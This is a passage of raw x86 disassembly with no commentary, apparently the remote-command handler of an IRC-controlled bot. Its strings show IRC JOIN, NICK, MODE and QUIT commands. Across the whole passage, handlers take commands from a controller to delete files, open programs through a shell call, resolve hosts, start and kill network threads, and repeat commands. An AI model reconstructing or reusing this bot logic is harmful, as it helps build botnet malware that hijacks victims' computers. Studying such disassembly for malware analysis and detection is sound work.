		pop	ecx
		jz	loc_40D219
		cmp	[ebp+var_C], ebx
		jz	loc_40D219
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_4345E0
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416D40
		push	edi
		call	sub_415A5F
		add	esp, 30h
		test	eax, eax
		jle	short loc_410D66
		push	edi
		call	sub_415A5F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_421060	; Sleep

loc_410D66:				; CODE XREF: sub_40CE55+3EFBj
		push	offset dword_4345B8
		call	sub_40B16D
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40D21C
; ---------------------------------------------------------------------------

loc_410D7A:				; CODE XREF: sub_40CE55+2386j
					; sub_40CE55+239Dj
		push	[ebp+var_90]
		push	offset dword_43646C
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D219
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_415910
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_410E36
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_4345E0
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_2C8]
		push	offset dword_434584
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		push	edi
		call	sub_415A5F
		add	esp, 38h
		test	eax, eax
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40D21C
; ---------------------------------------------------------------------------

loc_410E36:				; CODE XREF: sub_40CE55+3F6Aj
		push	offset dword_43453C
		jmp	loc_40F704
; ---------------------------------------------------------------------------

loc_410E40:				; CODE XREF: sub_40CE55+2358j
					; sub_40CE55+236Fj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C8]
		push	offset dword_434534
		push	eax
		call	sub_4154E7
		push	edi
		call	sub_415A5F
		add	esp, 10h

loc_410E5D:				; CODE XREF: sub_40CE55+4072j
		test	eax, eax
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E

loc_410E77:				; CODE XREF: sub_40CE55+4907j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	sub_412D06

loc_410E9B:				; CODE XREF: sub_40CE55+579Ej
		add	esp, 0Ch
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_410EA3:				; CODE XREF: sub_40CE55+232Aj
					; sub_40CE55+2341j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C8]
		push	[ebp+arg_18]
		push	offset dword_434528
		push	eax
		call	sub_4154E7
		push	edi
		call	sub_415A5F
		add	esp, 14h
		jmp	short loc_410E5D
; ---------------------------------------------------------------------------

loc_410EC9:				; CODE XREF: sub_40CE55+22FCj
					; sub_40CE55+2313j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C8]
		push	offset dword_434520
		push	eax
		call	sub_4154E7
		push	edi
		call	sub_415A5F
		add	esp, 10h
		test	eax, eax
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	sub_412D06
		push	[ebp+arg_18]
		push	edi
		push	offset dword_4344F0

loc_410F2D:				; CODE XREF: sub_40CE55+4162j
					; sub_40CE55+41CDj ...
		call	sub_40B1E1

loc_410F32:				; CODE XREF: sub_40CE55+546Ej
		add	esp, 18h
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_410F3A:				; CODE XREF: sub_40CE55+22CEj
					; sub_40CE55+22E5j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410F6B
		push	esi
		lea	eax, [ebp+var_2C8]
		push	offset dword_4344E8
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_410F6B:				; CODE XREF: sub_40CE55+40FFj
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	sub_412D06
		push	esi
		push	edi
		push	offset dword_4344B8
		jmp	loc_410F2D
; ---------------------------------------------------------------------------

loc_410FBC:				; CODE XREF: sub_40CE55+22A0j
					; sub_40CE55+22B7j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41298E
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		push	esi
		push	offset dword_425050
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	sub_412D06
		push	esi
		push	edi
		push	offset dword_434488
		jmp	loc_410F2D
; ---------------------------------------------------------------------------

loc_411027:				; CODE XREF: sub_40CE55+2272j
					; sub_40CE55+2289j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41298E
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	esi
		push	offset dword_43444C

loc_411059:				; CODE XREF: sub_40CE55+4AACj
					; sub_40CE55+4AC5j ...
		call	sub_40B1E1

loc_41105E:				; CODE XREF: sub_40CE55+4272j
		add	esp, 14h
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_411066:				; CODE XREF: sub_40CE55+2244j
					; sub_40CE55+225Bj
		push	[ebp+var_90]
		push	offset dword_43646C
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D219
		push	[ebp+arg_18]
		push	offset dword_434440
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		call	sub_415A5F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_421060	; Sleep
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	offset dword_434418
		call	sub_40B16D
		jmp	short loc_41105E
; ---------------------------------------------------------------------------

loc_4110C9:				; CODE XREF: sub_40CE55+2216j
					; sub_40CE55+222Dj
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		call	sub_415CF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415CF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_41298E
		push	esi
		lea	eax, [ebp+var_2C8]
		push	offset dword_434CB0
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_412D4C
		push	esi
		push	edi
		push	offset dword_4343E8
		call	sub_40B1E1
		add	esp, 2Ch
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_411137:				; CODE XREF: sub_40CE55+21E8j
					; sub_40CE55+21FFj
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		call	sub_415CF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415CF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_41298E
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_412D4C
		push	esi
		push	edi
		push	offset dword_4343B8
		call	sub_40B1E1
		jmp	loc_40FD65
; ---------------------------------------------------------------------------

loc_41118A:				; CODE XREF: sub_40CE55+21BAj
					; sub_40CE55+21D1j
		cmp	[ebp+var_C], ebx
		jz	loc_40D219
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D219
		push	eax
		push	edi
		call	sub_40B075
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_434388
		push	eax
		call	sub_4154E7

loc_4111C1:				; CODE XREF: sub_40CE55+3B44j
		add	esp, 14h
		jmp	loc_40F7B1
; ---------------------------------------------------------------------------

loc_4111C9:				; CODE XREF: sub_40CE55+217Aj
					; sub_40CE55+2191j
		push	edi
		push	[ebp+arg_1C]
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41298E
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_411266
		push	esi
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41124E
		push	esi
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_4345E0
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416D40
		push	esi
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_434350
		push	eax
		call	sub_4154E7
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_4124D6
; ---------------------------------------------------------------------------

loc_41124E:				; CODE XREF: sub_40CE55+43A1j
		lea	eax, [ebp+var_2C8]
		push	offset dword_43430C
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_4124D6
; ---------------------------------------------------------------------------

loc_411266:				; CODE XREF: sub_40CE55+4390j
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40AD85
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	edi
		push	offset dword_4342E0
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 24h
		jmp	loc_4124D6
; ---------------------------------------------------------------------------

loc_4112AD:				; CODE XREF: sub_40CE55+1B7Fj
					; sub_40CE55+1B96j
		push	offset aR	; "r"
		push	edi
		call	sub_415BE8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_411327
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		call	sub_41713C
		add	esp, 0Ch

loc_4112D6:				; CODE XREF: sub_40CE55+44B0j
		test	eax, eax
		jz	short loc_411307
		push	1
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	esi
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		call	sub_41713C
		add	esp, 20h
		jmp	short loc_4112D6
; ---------------------------------------------------------------------------

loc_411307:				; CODE XREF: sub_40CE55+4483j
		push	esi
		call	sub_415B40
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_4342A8
		push	eax
		call	sub_4154E7
		add	esp, 10h
		jmp	loc_40EFA7
; ---------------------------------------------------------------------------

loc_411327:				; CODE XREF: sub_40CE55+4469j
		push	edi
		push	offset dword_434274
		jmp	loc_412869
; ---------------------------------------------------------------------------

loc_411332:				; CODE XREF: sub_40CE55+1B51j
					; sub_40CE55+1B68j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41298E
		push	offset asc_426CB4 ; "\n"
		push	esi
		call	sub_415C10
		push	esi
		call	sub_40A5E9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_411372
		push	offset dword_434234
		jmp	loc_410B43
; ---------------------------------------------------------------------------

loc_411372:				; CODE XREF: sub_40CE55+4511j
		push	esi
		push	offset dword_434208
		jmp	loc_4124C7
; ---------------------------------------------------------------------------

loc_41137D:				; CODE XREF: sub_40CE55+1B23j
					; sub_40CE55+1B3Aj
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_41298E
		push	eax
		call	sub_409CCD
		test	eax, eax
		pop	ecx
		jnz	short loc_4113AE
		push	offset unk_4341D8
		jmp	loc_410B43
; ---------------------------------------------------------------------------

loc_4113AE:				; CODE XREF: sub_40CE55+454Dj
		push	offset dword_4341A8
		jmp	loc_410B43
; ---------------------------------------------------------------------------

loc_4113B8:				; CODE XREF: sub_40CE55+1AF5j
					; sub_40CE55+1B0Cj
		push	7Fh
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_416D40
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4113E7
		push	7Fh
		lea	eax, [ebp+var_674]
		push	esi
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_4113E7:				; CODE XREF: sub_40CE55+457Ej
		push	7Fh
		lea	eax, [ebp+var_5F4]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_6F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_43417C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	14h
		push	eax
		call	sub_414F93
		add	esp, 24h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F8]
		push	ebx
		push	eax
		push	offset sub_40AE4B
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_411485

loc_41146F:				; CODE XREF: sub_40CE55+462Ej
		cmp	[ebp+var_568], ebx
		jnz	loc_4124D6
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_41146F
; ---------------------------------------------------------------------------

loc_411485:				; CODE XREF: sub_40CE55+4618j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43412C
		jmp	loc_4124C7
; ---------------------------------------------------------------------------

loc_411496:				; CODE XREF: sub_40CE55+1AC7j
					; sub_40CE55+1ADEj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_4063B0
		push	edi
		push	offset dword_434104
		jmp	loc_410F2D
; ---------------------------------------------------------------------------

loc_4114B1:				; CODE XREF: sub_40CE55+1A99j
					; sub_40CE55+1AB0j
		push	14h
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_6FC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_718], eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_5F8]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_5F8]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4340CC
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	12h
		push	eax
		call	sub_414F93
		add	esp, 40h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_718]
		push	ebx
		push	eax
		push	offset sub_40B712
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_411581

loc_41156B:				; CODE XREF: sub_40CE55+472Aj
		cmp	[ebp+var_568], ebx
		jnz	loc_41284E
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_41156B
; ---------------------------------------------------------------------------

loc_411581:				; CODE XREF: sub_40CE55+4714j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_43636C
		jmp	loc_41283F
; ---------------------------------------------------------------------------

loc_411592:				; CODE XREF: sub_40CE55+1A6Bj
					; sub_40CE55+1A82j
		push	edi
		call	dword_421118	; DeleteFileA
		test	eax, eax
		jz	short loc_4115A5
		push	edi
		push	offset dword_43409C
		jmp	short loc_4115B0
; ---------------------------------------------------------------------------

loc_4115A5:				; CODE XREF: sub_40CE55+4746j
		push	offset dword_4347DC
		call	sub_409C08
		push	eax

loc_4115B0:				; CODE XREF: sub_40CE55+474Ej
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------

loc_4115C9:				; CODE XREF: sub_40CE55+1A3Dj
					; sub_40CE55+1A54j
		push	edi
		call	sub_415A5F
		push	eax
		call	sub_414061
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4115E6
		push	offset dword_434064
		jmp	short loc_4115EB
; ---------------------------------------------------------------------------

loc_4115E6:				; CODE XREF: sub_40CE55+4788j
		push	offset dword_43401C

loc_4115EB:				; CODE XREF: sub_40CE55+478Fj
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_40EFAA
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_40EFAA
; ---------------------------------------------------------------------------

loc_411624:				; CODE XREF: sub_40CE55+1A0Fj
					; sub_40CE55+1A26j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_413DD2
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_411646
		push	offset dword_433FE4
		jmp	loc_412869
; ---------------------------------------------------------------------------

loc_411646:				; CODE XREF: sub_40CE55+47E5j
		push	offset dword_433FA0
		jmp	loc_412869
; ---------------------------------------------------------------------------

loc_411650:				; CODE XREF: sub_40CE55+19E1j
					; sub_40CE55+19F8j
		push	edi
		call	dword_43A3D8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_41168D
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43A350	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_4116A8
		push	dword ptr [eax]

loc_411673:				; CODE XREF: sub_40CE55+4851j
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_433F70
		push	eax
		call	sub_4154E7
		add	esp, 10h
		jmp	loc_40F713
; ---------------------------------------------------------------------------

loc_41168D:				; CODE XREF: sub_40CE55+4808j
		push	edi
		call	dword_43A41C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4116A8
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43A424	; inet_ntoa
		push	eax
		jmp	short loc_411673
; ---------------------------------------------------------------------------

loc_4116A8:				; CODE XREF: sub_40CE55+481Aj
					; sub_40CE55+4841j
		push	offset dword_433F34
		jmp	loc_410B43
; ---------------------------------------------------------------------------

loc_4116B2:				; CODE XREF: sub_40CE55+19B3j
					; sub_40CE55+19CAj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_416D40
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset dword_433EFC
		push	eax
		call	sub_4154E7
		add	esp, 18h
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------

loc_4116D7:				; CODE XREF: sub_40CE55+1985j
					; sub_40CE55+199Cj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43A30C
		test	eax, eax
		push	edi
		jz	short loc_4116F7
		push	offset unk_433ECC
		jmp	loc_412869
; ---------------------------------------------------------------------------

loc_4116F7:				; CODE XREF: sub_40CE55+4896j
		push	offset unk_433E94
		jmp	loc_412869
; ---------------------------------------------------------------------------

loc_411701:				; CODE XREF: sub_40CE55+1957j
					; sub_40CE55+196Ej
		mov	al, [edi]
		mov	byte_42C19C, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_433E5C
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_411716:				; CODE XREF: sub_40CE55+1929j
					; sub_40CE55+1940j
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		call	sub_414433
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_434520
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		jmp	loc_410E77
; ---------------------------------------------------------------------------

loc_411761:				; CODE XREF: sub_40CE55+18FBj
					; sub_40CE55+1912j
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_40D219
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40D219
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	sub_412D06
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_421060	; Sleep
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	dword_43A430	; closesocket
		push	[ebp+var_10]
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F53C[eax]
		call	dword_421130	; TerminateThread
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		push	edi
		mov	dword_43F53C[eax], ebx
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43F328[eax], bl
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_41180C:				; CODE XREF: sub_40CE55+18CDj
					; sub_40CE55+18E4j
		push	edi
		push	offset aAll	; "all"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41183B
		call	sub_41515C
		cmp	eax, ebx
		jle	short loc_411831
		push	eax
		push	offset dword_433E0C
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------

loc_411831:				; CODE XREF: sub_40CE55+49CFj
		push	offset dword_433DD0
		jmp	loc_41202C
; ---------------------------------------------------------------------------

loc_41183B:				; CODE XREF: sub_40CE55+49C6j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40D219
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax

loc_411857:				; CODE XREF: sub_40CE55+4A73j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40D219
		push	esi
		call	sub_415A5F
		push	eax
		call	sub_4150CE
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41187E
		push	offset dword_433D98
		jmp	short loc_411883
; ---------------------------------------------------------------------------

loc_41187E:				; CODE XREF: sub_40CE55+4A20j
		push	offset dword_433D58

loc_411883:				; CODE XREF: sub_40CE55+4A27j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4118B3
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_4118B3:				; CODE XREF: sub_40CE55+4A40j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_411857
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_4118CF:				; CODE XREF: sub_40CE55+189Fj
					; sub_40CE55+18B6j
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		push	[ebp+var_C]
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41298E
		push	esi
		push	offset dword_425050
		push	[ebp+arg_4]
		call	sub_412D06
		push	esi
		push	offset dword_433D2C
		jmp	loc_411059
; ---------------------------------------------------------------------------

loc_411906:				; CODE XREF: sub_40CE55+1871j
					; sub_40CE55+1888j
		push	edi
		push	offset dword_434440
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	offset dword_433CF8
		jmp	loc_411059
; ---------------------------------------------------------------------------

loc_41191F:				; CODE XREF: sub_40CE55+1843j
					; sub_40CE55+185Aj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	offset dword_433CC4
		jmp	loc_410F2D
; ---------------------------------------------------------------------------

loc_41193F:				; CODE XREF: sub_40CE55+1815j
					; sub_40CE55+182Cj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	offset dword_433C8C
		jmp	loc_411059
; ---------------------------------------------------------------------------

loc_411958:				; CODE XREF: sub_40CE55+17DAj
					; sub_40CE55+17EFj
		mov	al, byte_4276A2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4276A2
		jz	loc_40D219
		mov	ecx, edx

loc_41196F:				; CODE XREF: sub_40CE55+4B22j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_41196F
		cmp	al, bl
		jz	loc_40D219
		mov	[ebp+arg_18], edx

loc_411984:				; CODE XREF: sub_40CE55+4DE9j
		push	8
		call	sub_4151DB
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 12Ch
		jle	short loc_4119D3
		push	ecx
		lea	eax, [ebp+var_2C8]
		push	offset dword_434DE0
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 20h
		jmp	loc_411C35
; ---------------------------------------------------------------------------

loc_4119D3:				; CODE XREF: sub_40CE55+4B49j
		or	[ebp+var_300], 0FFFFFFFFh
		cmp	dword_427338, ebx
		mov	[ebp+var_304], 64h
		mov	[ebp+var_318], 5
		mov	[ebp+var_314], ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_411A40
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_427338
		lea	esi, [eax-0Ah]

loc_411A0A:				; CODE XREF: sub_40CE55+4BCDj
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411A26
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_411A0A
		jmp	short loc_411A40
; ---------------------------------------------------------------------------

loc_411A26:				; CODE XREF: sub_40CE55+4BC3j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_300], eax
		imul	ecx, 3Ch
		mov	ecx, dword_427338[ecx]
		mov	[ebp+var_31C], ecx

loc_411A40:				; CODE XREF: sub_40CE55+4BA8j
					; sub_40CE55+4BCFj
		cmp	[ebp+var_31C], ebx
		jz	loc_411C49
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43A33C	; getsockname
		mov	al, [ebp+var_9B3]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2D4], eax
		push	[ebp+var_2D4]
		call	dword_43A424	; inet_ntoa
		push	eax
